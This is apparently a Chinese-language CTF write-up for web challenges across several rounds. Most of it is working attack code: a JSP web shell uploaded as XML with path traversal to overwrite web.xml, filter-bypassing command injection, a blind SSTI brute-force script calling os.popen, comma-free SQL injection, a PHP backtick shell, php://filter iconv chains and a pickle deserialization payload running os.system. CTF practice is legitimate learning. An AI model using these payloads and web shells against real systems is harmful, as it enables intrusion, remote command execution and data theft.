[Round 1] Disal
F12查看: f1ag_is_here.php
又F12可以发现图片提到了robots
访问robots.txt 得到flag.php
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];
if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
POST:
a=1234567qwerty&b=1235q
[Round 1] shxpl
challenge.yuanloo.com&&more<index.php
拿到源码:
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$domain = $_POST["domain"];
if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){
$output = shell_exec("nslookup " . $domain);
echo "<h2>Results for $domain:</h2>";
echo "<pre>" . htmlspecialchars($output) . "</pre>";
}else{
echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")
需要抓包传参
challenge.yuanloo.com%26%26more%09/f[!a]ag_nfgW35y0
[Round 1] Injct
法一:
ssti, 直接焚靖跑 ,但没有回显, 用dns外带
法二:
ssti盲注 , 看官方wp的脚本
import requests
res = ''
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'
for i in range(1,50):
for j in s:
url = "http://gzctf.imxbt.cn:50081/greet"
data= {
"name":"{%if((''|attr((lipsum|string|list).pop(18)*2~'cla''ss'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'mro'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(1)|attr((lipsum|string|list).pop(18)*2~'subc''lasses'~(lipsum|string|list).pop(18)*2)()|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(101)|attr((lipsum|string|list).pop(18)*2~'init'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'global''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'getit''em'~(lipsum|string|list).pop(18)*2)((lipsum|string|list).pop(18)*2~'builtin''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)('ev''al')((lipsum|string|list).pop(18)*2~'imp''ort'~(lipsum|string|list).pop(18)*2)('o''s')|attr('po''pen')('head$IFS$9-c$IFS$9"+str(i)+"$IFS$9/flag')|attr('re''ad')())=='"+str(res+j)+"')%}success{%endif%}"
}
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
r = requests.post(url, headers=headers,data=data)
if "success" in r.text:
res+=j
print(res)
break
[Round 1] TOXEC
不能上传jsp, 可以上传xml
上传后缀为 .xml
的 jsp
木马
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
然后 在重命名那里 重新命名为 ../WEB-INF/shell.xml
(目录穿越到 WEB-INF
目录下)
然后再上传一个 web.xml
, 将shell.xml文件解析为 jsp文件执行
重命名为../WEB-INF/web.xml
将原先的 web.xml
文件给覆盖掉
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
然后 /exec
路径执行传参执行命令就行
/exec?cmd=ls
[Round 1] sInXx
sql注入, 过滤了 ,
逗号 , 绕过
1' UNION SELECT * FROM ((SELECT 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
information
也用不了 , 利用sys.schema
绕过, 获取表名
search=1' UNION SELECT * FROM ((SELECT GROUP_CONCAT(TABLE_NAME) FROM sys.schema_table_statistics_with_buffer WHERE TABLE_SCHEMA=DATABASE())A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
获取数据
search=1' UNION SELECT * FROM ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM DataSyncFLAG)p limit 2 offset 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
[Round 2] Cmnts
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
$key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
echo $flag;
}
else {
highlight_file(__FILE__);
}
直接传参拿就行
?key=a7a795a8efb7c30151031c2cb700ddd9
[Round 2] PHUPE
参考文章: move_uploaded_file的一个细节问题:https://www.anquanke.com/post/id/103784
关键代码:
public function uploadFile($file) {
$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
return false;
}
$data = file_get_contents($file['tmp_name']);
if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
echo "<script>alert('恶意内容!')</script>";
return false;
}
$target_file = $this->uploadDir .$name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
echo "<script>alert('文件上传成功!')</script>";
return true;
}
return false;
通过?name
传参文件的名字 1.php/.
绕过后缀的检查( ?name=aaa/../222.php/.
可以覆盖文件上传)
有文件内容的检查, 需要绕过, 短标签绕过 php, 然后反引号执行命令, 再利用 \
拼接字符
<?=`c\at /f*`?>
[Round 2] Pseudo
关键代码在download.php里面
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$data = file_get_contents($_GET['file']);
$file = tmpfile();
fwrite($file, $data);
fflush($file);
$type = mime_content_type(stream_get_meta_data($file)['uri']);
fclose($file);
if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {
echo "error!!!";
exit;
}else{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="download.jpg"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
echo($data);
exit;
}
}
可以通过?file
参数传参文件名读取内容, 但是存在 mime_content_type 会检查文件的 MIME 类型
可以通过php的伪协议绕过检查, php://filter
利用到工具生成链子
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/flag
读取flag
就是这里让人感觉有点奇怪, 为什么flag是不全的, 不太理解(后面再研究一下)
官方wp给的链子
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag
需要解码两次
[Round 2] RedFox
登录进去后, 有一个image url可以填写url发送请求
存在sstf的漏洞
访问这个路由,可以得到文件内容
读取index.php文件
<?php
session_start();
require_once 'config.php';
require_once 'Database.php';
require_once 'User.php';
require_once 'Post.php';
require_once 'Message.php';
$db = new Database();
$user = new User($db);
$post = new Post($db);
$message = new Message($db);
$error = '';
$success = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['action'])) {
switch ($_POST['action']) {
case 'register':
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['email'])) {
if ($user->register($_POST['username'], $_POST['password'], $_POST['email'])) {
$success = "Registration successful. Please log in.";
} else {
$error = "Registration failed. Please try again.";
}
}
break;
case 'login':
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($user->login($_POST['username'], $_POST['password'])) {
$success = "Login successful.";
} else {
$error = "Invalid username or password.";
}
}
break;
case 'create_post':
if (isset($_SESSION['user_id']) && isset($_POST['content'])) {
$imageUrl = isset($_POST['image_url']) ? $_POST['image_url'] : null;
if ($post->create($_SESSION['user_id'], $_POST['content'], $imageUrl)) {
$success = "Post created successfully.";
} else {
$error = "Failed to create post.";
}
}
break;
case 'send_message':
if (isset($_SESSION['user_id']) && isset($_POST['to_user_id']) && isset($_POST['content'])) {
if ($message->send($_SESSION['user_id'], $_POST['to_user_id'], $_POST['content'])) {
$success = "Message sent successfully.";
} else {
$error = "Failed to send message.";
}
}
break;
case 'download_message':
if (isset($_SESSION['user_id']) && isset($_POST['data'])) {
if ($user->test($_SESSION['user_id'], $_POST['data'])) {
$success = "successfully.";
} else {
$error = "fail.";
}
}
break;
}
}
}
$feed = $post->getFeed();
?>
根据index.php可知,读取Post.php
<?php
class Post {
private $db;
public function __construct($db) {
$this->db = $db;
}
public function create($userId, $content, $imageUrl = null) {
$sql = "INSERT INTO posts (user_id, content, image_url) VALUES (?, ?, ?)";
$image = $this->uploadImage($userId,$imageUrl);
return $this->db->query($sql, [$userId, $content, $image]);
}
public function getFeed($page = 1, $limit = 10) {
$offset = ($page - 1) * $limit;
$sql = "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id ORDER BY p.created_at DESC LIMIT ?, ?";
return $this->db->query($sql, [$offset, $limit]);
}
public function uploadImage($userId, $imageUrl) {
$filename = "";
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, $imageUrl);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$imageContent = curl_exec ($curl);
curl_close ($curl);
if(preg_match('/http|gopher|dict/i',$imageUrl) && preg_match('/php|<\?|script/i',$imageContent)){
return false;
}
if ($imageContent !== false && strlen($imageContent)>50) {
$filename = 'profile_' . md5($imageUrl) . '.jpg';
file_put_contents('./uploads/' . $filename, $imageContent);
}else{
return false;
}
return "./uploads/" . $filename;
}
}
[Round 3] 404
/404.php --> f12g.php --> ca.php
import math
import requests
url='http://challenge.yuanloo.com:26413/ca.php'
# 计算 $temp1
temp1 = (91 / 142) * math.log(437)
# 计算 $temp2
temp2 = math.sqrt(abs(174 - 928)) + math.pow(math.sin(119 * math.pi / 180), 2)
# 计算 $temp3
temp3 = temp1 + (temp2 * math.tan(816 * math.pi / 180) / 503)
# 计算 $temp4
temp4 = math.cos(184 * math.pi / 180) * math.exp(math.log(867))
# 计算 $answer
answer = temp3 + temp4
data={"user_answer":"answer"}
res=requests.post(url=url,data=data)
for i in range(100):
if res.text.find("{"):
print(res.text)
break
[Round 3] PRead
法一:非预期
利用导出笔记的那个功能点存在一个任意文件读取的漏洞, 直接读取环境变量拿到flag
法二:预期解
(还未复现成功, 贴一下官方wp)
拿到app.py的源码
/export_notes?filename=../app.py
源码:
import os
import pickle
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, send_file
from datetime import datetime
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.secret_key = 'MySe3re7K6y'
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB max-limit
# 确保上传文件夹存在
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
class Note:
def __init__(self, title, content):
self.id = datetime.now().strftime('%Y%m%d%H%M%S')
self.title = title
self.content = content
self.created_at = datetime.now()
class NoteManager:
def __init__(self):
self.notes = []
self.file_name = "notes.pkl"
self.file_path = "./notes/"
self.file = os.path.join(self.file_path, self.file_name)
self.load_notes()
def add_note(self, title, content):
note = Note(title, content)
self.notes.append(note)
self.save_notes()
return note
def get_note(self, note_id):
for note in self.notes:
if note.id == note_id:
return note
return None
def update_note(self, note_id, title, content):
note = self.get_note(note_id)
if note:
note.title = title
note.content = content
self.save_notes()
return True
return False
def delete_note(self, note_id):
self.notes = [note for note in self.notes if note.id != note_id]
self.save_notes()
def save_notes(self):
with open(self.file, 'wb') as f:
pickle.dump(self.notes, f)
def load_notes(self):
if os.path.exists(self.file):
with open(self.file, 'rb') as f:
self.notes = pickle.load(f)
def import_notes(self, file_path):
try:
with open(file_path, 'rb') as f:
imported_notes = pickle.load(f)
self.notes.extend(imported_notes)
self.save_notes()
return len(imported_notes)
except Exception as e:
print(f"Import error: {e}")
return 0
note_manager = NoteManager()
@app.route('/')
def index():
return render_template('index.html', notes=note_manager.notes)
@app.route('/add', methods=['GET', 'POST'])
def add_note():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
note_manager.add_note(title, content)
flash('笔记已添加成功', 'success')
return redirect(url_for('index'))
return render_template('add_note.html')
@app.route('/edit/<note_id>', methods=['GET', 'POST'])
def edit_note(note_id):
note = note_manager.get_note(note_id)
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
if note_manager.update_note(note_id, title, content):
flash('笔记已更新成功', 'success')
return redirect(url_for('index'))
flash('更新笔记失败', 'error')
return render_template('edit_note.html', note=note)
@app.route('/delete/<note_id>')
def delete_note(note_id):
note_manager.delete_note(note_id)
flash('笔记已删除成功', 'success')
return redirect(url_for('index'))
@app.route('/export_notes', methods=['GET'])
def export_notes():
filename = request.args.get("filename")
file_path = os.path.join(note_manager.file_path, filename)
return send_file(file_path, as_attachment=True, download_name="notes_export.pkl")
@app.route('/import_notes', methods=['POST'])
def import_notes():
if 'file' not in request.files:
flash('没有文件', 'error')
return redirect(url_for('index'))
file = request.files['file']
if file.filename == '':
flash('没有选择文件', 'error')
return redirect(url_for('index'))
if file:
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
imported_count = note_manager.import_notes(file_path)
os.remove(file_path) # 删除临时文件
if imported_count > 0:
flash(f'成功导入 {imported_count} 条笔记', 'success')
else:
flash('导入失败,请检查文件格式', 'error')
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(host='0.0.0.0')
存在pickle反序列化的利用
import pickle
import base64
import os
class payload(object):
def __reduce__(self):
return (os.system, ('ls / > /tmp/1',))
a = payload()
payload = pickle.dumps(a)
print(base64.b64encode(payload).decode())
写入文件中, 然后利用任意文件读取的漏洞去读取 /tmp/1的内容
拿到flag的文件名, 然后直接读取